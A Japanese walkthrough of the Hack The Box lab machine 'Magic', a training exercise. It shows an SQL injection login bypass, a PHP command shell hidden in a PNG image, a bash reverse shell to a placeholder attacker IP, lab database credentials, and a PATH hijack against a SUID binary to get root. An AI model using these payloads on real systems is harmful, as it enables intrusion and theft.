Magic 日本語でウォークスルー Hack The Box Machine:

HTB htb-medium

Hack The BoxのMagicのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はmediumとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。

HTB Magic ウォークスルー・ライトアップ Hack The Box

Summary

local shell取得まで

ターゲットポート:TCP 80(http)
脆弱性:ターゲットのwebサイトでは、ログイン画面があった。そのログイン画面には「SQLインジェクション」の脆弱性が内在していた。
ログイン認証を突破した後に、ターゲットへファイルをアップロードできる機能を発見した。
その機能からreverse-shell用のスクリプトをアップロードし、実行した。
local権限を取得したユーザ:「www-data」

privilege Escalation取得まで

脆弱性:「www-data」ユーザは、「theseus」ユーザの「mysql」のクレデンシャル情報を閲覧可能であった。
「theseus」ユーザへ移行し、スクリプトを細工することでrootユーザのshellを取得できた。
root権限を取得したユーザ:root

Information Gathering

ポートスキャン

それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。

nmapの結果、上画像の通り、TCPポート番号22(ssh),80(http)が開いていることが分かりました。
まずはhttpサービスから調査していくことにしました。

ターゲットのhttpサービス調査

まずは、httpでfirefoxにアクセスしました。その結果、以下サイトに接続しました。
マジックショーを紹介するホームページが表示されました。(いくつかの画像が表示されています。)

左下の「Login」をクリックすると、ログイン画面が表示されました。

ログイン画面の脆弱性調査

先程見つけたログイン画面に対してSQLインジェクションを仕掛けてみました。

こちらを参考に、以下文字列を「Username」と
「Password」に入力しました。

' or 1=1 --

すると認証を突破し、以下が表示されました。ファイルがアップロードできる機能がありました。


この段階で、「reverse-shell」用のスクリプトをアップロードし、local-shellを取得できないかを検討することにしました。

local shellの取得

reverse-shell用のスクリプトをターゲットにアップロードする

まず、ターゲットのファイルアップロード機能から「reverse-shell」用のphpファイルをアップロードしました。
しかし、以下のエラーメッセージが表示され、アップロードが失敗しました。

どうやら、画像ファイル(jpg,jpeg,png)しかアップロードが許可されていないようでした。
この辺りは、以前記事を書いた「Popcorn」に近い印象を受けました。
「Popcorn」ではBurpSuiteを使用して、phpファイルを画像ファイルと見せかけてアップロードしましたが、今回は別の方法で試しました。

今回は、Exiftoolを使用しました。
このツールを利用し、phpコードを画像ファイルに埋め込むことにしました。

まずは適当なスクリーンショットを取り、「test2.png」という名前で保存しました。
次に、Exiftoolを使用し、phpコードを埋め込みました。今回は、指定したlinuxのコマンドを実行する簡単なphpコードです。


続いて、「test2.png」を「test2.php.png」にリネームしました。これは、ターゲットにphpコードを強制的に実行させるためのものです。

「test2.php.png」をターゲットにアップロードできました。

reverse-shell用のスクリプトを実行する

続いて、アップロードした「reverse-shell」を実行することにしました。
まずは、ターゲットにアップロードしたファイルがどこにあるかを探すことにしました。

gobusterを使用して、ターゲットのフォルダ階層を調査しました。
その結果、「images/uploads」というパスをターゲット上に見つけました。

先程アップロードした「test2.php.png」を見つけました。また以下の通り、Linuxの「ls」コマンドの結果が表示されました。
これは「test2.php.png」に設置したphpコードが正しく動作していることを示しています。

そのため、次に、reverse-shellを取得するため以下のLinuxコマンドを実行しました。
※事前にnetcatを仕掛けています。

http://10.10.10.185/images/uploads/avatar.php.png?cmd=bash -c 'bash -i >%26 /dev/tcp/*ip address*/*port number* 0>%261'


その結果、以下の通り、「www-data」のshellを取得できました。

Privilege Escalation

Privilege Escalationの脆弱性調査

linpeasを使ってターゲット内を調査しました。

その結果、「/var/www/Magic/db.php5」というファイルから「theseus」というユーザを見つけました。

この「/var/www/Magic/db.php5」を確認した所、以下クレデンシャル情報が見つかりました。

dbName:Magic dbUsername:theseus dbUserPassword:iamkingtheseus

どうやらこのクレデンシャル情報はデータベース用でした。「mysql」を使用していることも分かりました。

以下コマンドでターゲットのmysqlの中身を確認しました。

mysqldump --databases Magic -u theseus -p iamkingtheseus

その結果、別のクレデンシャル情報を見つけました。

admin Th3s3usW4sK1ng

Tで始まる文字列が「theseus」ユーザのパスワードでした。
以下の通り、「www-data」から「theseus」ユーザに移行できました。

rootユーザになるための脆弱性調査

「theseus」ユーザでlinpeasを実行した所、以下を見つけました。

/bin/sysinfo

この中身を確認しました。

strings /bin/sysinfo

「fdisk」を実行しているようなので、これを偽造することにしました。

「fdisk」を偽造し、「sysinfo」を実行する

以下の様に、「fdisk」に「reverse-shell」用のスクリプトを仕込みました。
また、「PATH」を偽造して「sysinfo」を実行しました。

その結果、以下の通り「root」ユーザのshellが取得できました。

flagを探す

user.txtは「/home/theseus」にありました。
root.txtは「/root」直下にありました。

以上で、Magicのウォークスルーは終了です。